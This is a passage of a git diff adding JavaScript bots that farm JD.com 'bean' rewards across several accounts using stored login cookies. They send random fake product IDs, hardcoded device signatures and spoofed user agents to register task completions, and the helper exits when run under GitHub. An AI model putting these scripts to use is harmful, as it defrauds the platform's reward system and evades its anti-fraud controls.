{ + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} beanHomeIconDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (body.flag === "0" && data.data.taskResult) { + console.log(data.data.remindMsg) + } + if (body.flag === "1" && data.data.taskResult) { + console.log(data.data.remindMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function queryCouponInfo() { + return new Promise(async resolve => { + $.get(taskBeanUrl('queryCouponInfo', {"rnVersion":"4.7","fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} queryCouponInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.couponTaskInfo) { + if (!data.data.couponTaskInfo.awardFlag) { + console.log(`去做[${data.data.couponTaskInfo.taskName}]`) + await sceneGetCoupon() + } else { + console.log(`[${data.data.couponTaskInfo.taskName}]已做完`) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function sceneGetCoupon() { + return new Promise(resolve => { + $.get(taskBeanUrl('sceneGetCoupon', {"rnVersion":"4.7","fp":"-1","shshshfp":"-1","shshshfpa":"-1","referUrl":"-1","userAgent":"-1","jda":"-1"}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} sceneGetCoupon API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data && data.data.bizMsg) { + console.log(data.data.bizMsg) + } else { + console.log(`完成任务失败:${data}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function randomString() { + return Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) +} + +function getRandomInt(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min)) + min; +} +function doTask2() { + return new Promise(resolve => { + const body = {"awardFlag": false, "skuId": `${getRandomInt(10000000,20000000)}`, "source": "feeds", "type": '1'}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0' && data.data){ + console.log(`任务完成进度:${data.data.taskProgress}/${data.data.taskThreshold}`) + if(data.data.taskProgress === data.data.taskThreshold) + $.doneState = true + } else if (data.code === '0' && data.errorCode === 'HT201') { + $.doneState = true + } else { + //HT304风控用户 + $.doneState = true + console.log(`做任务异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post(taskUrl('signBeanGroupStageIndex', 'body'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data.jklInfo) { + $.actId = data.data.jklInfo.keyId + let {shareCode, groupCode} = data.data + if (!shareCode) { + console.log(`未获取到助力码,去开团`) + await hitGroup() + } else { + console.log(shareCode, groupCode) + // 去做逛会场任务 + if (data.data.beanActivityVisitVenue && data.data.beanActivityVisitVenue.taskStatus === '0') { + await help(shareCode, groupCode, 1) + } + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + $.newShareCodes.push([shareCode, groupCode, $.UserName]) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function hitGroup() { + return new Promise(resolve => { + const body = {"activeType": 2,}; + $.get(taskGetUrl('signGroupHit', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.respCode === "SG150") { + let {shareCode, groupCode} = data.data.signGroupMain + if (shareCode) { + $.newShareCodes.push([shareCode, groupCode, $.UserName]) + console.log('开团成功') + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 抢京豆邀请码:${shareCode}\n`); + await help(shareCode, groupCode, 1) + } else { + console.log(`为获取到助力码,错误信息${JSON.stringify(data.data)}`) + } + } else { + console.log(`开团失败,错误信息${JSON.stringify(data.data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function help(shareCode, groupCode, isTask = 0) { + return new Promise(resolve => { + const body = { + "activeType": 2, + "groupCode": groupCode, + "shareCode": shareCode, + "activeId": $.actId, + }; + if (isTask) { + console.log(`【抢京豆】做任务获取助力`) + body['isTask'] = "1" + } else { + console.log(`【抢京豆】去助力好友${shareCode}`) + body['source'] = "guest" + } + $.get(taskGetUrl('signGroupHelp', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`【抢京豆】${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === '0') { + console.log(`【抢京豆】${data.data.helpToast}`) + } + if(data.code === '0' && data.data && data.data.respCode === 'SG209') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getTaskList() { + return new Promise(resolve => { + const body = {"rnVersion": "4.7", "rnClient": "2", "source": "AppHome"}; + $.post(taskUrl('findBeanHome', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let beanTask = data.data.floorList.filter(vo => vo.floorName === "种豆得豆定制化场景")[0] + if (!beanTask.viewed) { + await receiveTask() + await $.wait(3000) + } + + let tasks = data.data.floorList.filter(vo => vo.floorName === "赚京豆")[0]['stageList'] + for (let i = 0; i < tasks.length; ++i) { + const vo = tasks[i] + if (vo.viewed) continue + await receiveTask(vo.stageId, `4_${vo.stageId}`) + await $.wait(3000) + } + await award() + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveTask(itemId = "zddd", type = "3") { + return new Promise(resolve => { + const body = {"awardFlag": false, "itemId": itemId, "source": "home", "type": type}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`完成任务成功,进度${data.data.taskProgress}/${data.data.taskThreshold}`) + } else { + console.log(`完成任务失败,${data.errorMessage}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function award(source="home") { + return new Promise(resolve => { + const body = {"awardFlag": true, "source": source}; + $.post(taskUrl('beanHomeTask', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data) { + console.log(`领奖成功,获得 ${data.data.beanNum} 个京豆`) + message += `领奖成功,获得 ${data.data.beanNum} 个京豆\n` + } else { + console.log(`领奖失败,${data.errorMessage}`) + // message += `领奖失败,${data.errorMessage}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function receiveJd2() { + var headers = { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167515 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'Cookie': cookie + }; + var dataString = 'body=%7B%7D&build=167576&client=apple&clientVersion=9.4.3&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=10&screen=1242%2A2208&sign=19c33b5b9ad4f02c53b6040fc8527119&st=1614701322170&sv=122' + var options = { + url: 'https://api.m.jd.com/client.action?functionId=sceneInitialize', + headers: headers, + body: dataString + }; + return new Promise(resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === '0' && data['data']) { + console.log(`强制开启新版领京豆成功,获得${data['data']['sceneLevelConfig']['beanNum']}京豆\n`); + $.msg($.name, '', `强制开启新版领京豆成功\n获得${data['data']['sceneLevelConfig']['beanNum']}京豆`); + } else { + console.log(`强制开启新版领京豆结果:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskGetUrl(function_id, body) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&clientVersion=9.2.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function taskBeanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&clientVersion=10.0.8&uuid=${uuid}&openudid=${uuid}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + "Referer": "https://h5.m.jd.com/" + } + } +} + +function taskUrl(function_id, body) { + body["version"] = "9.0.0.1"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_bean_info.js b/jd_bean_info.js new file mode 100755 index 0000000..b55f22e --- /dev/null +++ b/jd_bean_info.js @@ -0,0 +1,282 @@ +const $ = new Env('京豆详情统计'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +let myMap = new Map(); +let allBean = 0; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + await TotalBean(); + console.log(`\n********开始【京东账号${$.index}】${$.nickName || $.UserName}******\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await bean(); + await showMsg(); + + } + } + allMessage += `\n今日全部账号收入:${allBean}个京豆 🐶\n` + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + } +})() + .catch((e) => { + // $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function showMsg() { + if ($.errorMsg) return + allMessage += `\n【账号${$.index}:${$.nickName || $.UserName} 京豆详情统计】\n\n`; + allMessage += `今日收入:${$.todayIncomeBean}个京豆 🐶\n` + allBean = allBean + parseInt($.todayIncomeBean) + for (let key of myMap.keys()) { + allMessage += key + ' ---> ' +myMap.get(key)+'京豆 🐶\n' + } + myMap = new Map() + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `账号${$.index}:${$.nickName || $.UserName}\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}京豆 🐶${$.message}`, { url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` }) + // } + // $.msg($.name, '', `账号${$.index}:${$.nickName || $.UserName}\n今日收入:${$.todayIncomeBean}京豆 🐶\n昨日收入:${$.incomeBean}京豆 🐶\n昨日支出:${$.expenseBean}京豆 🐶\n当前京豆:${$.beanCount}(七天将过期${$.expirejingdou})京豆🐶${$.message}`, {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean", "media-url": "https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, t = 0, yesterdayArr = [], todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + // $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + // console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + // console.log(`未知情况:${JSON.stringify(response)}`); + // console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + myMap.set(item.eventMassage,0) + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + myMap.set(item.eventMassage,parseInt(myMap.get(item.eventMassage))+parseInt(item.amount)) + } + } + // console.log(myMap) + // await queryexpirejingdou();//过期京豆 + // await redPacket();//过期红包 + // console.log(`今日收入:${$.todayIncomeBean}个京豆 🐶`); + // console.log(`昨日支出:${$.expenseBean}个京豆 🐶`) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; 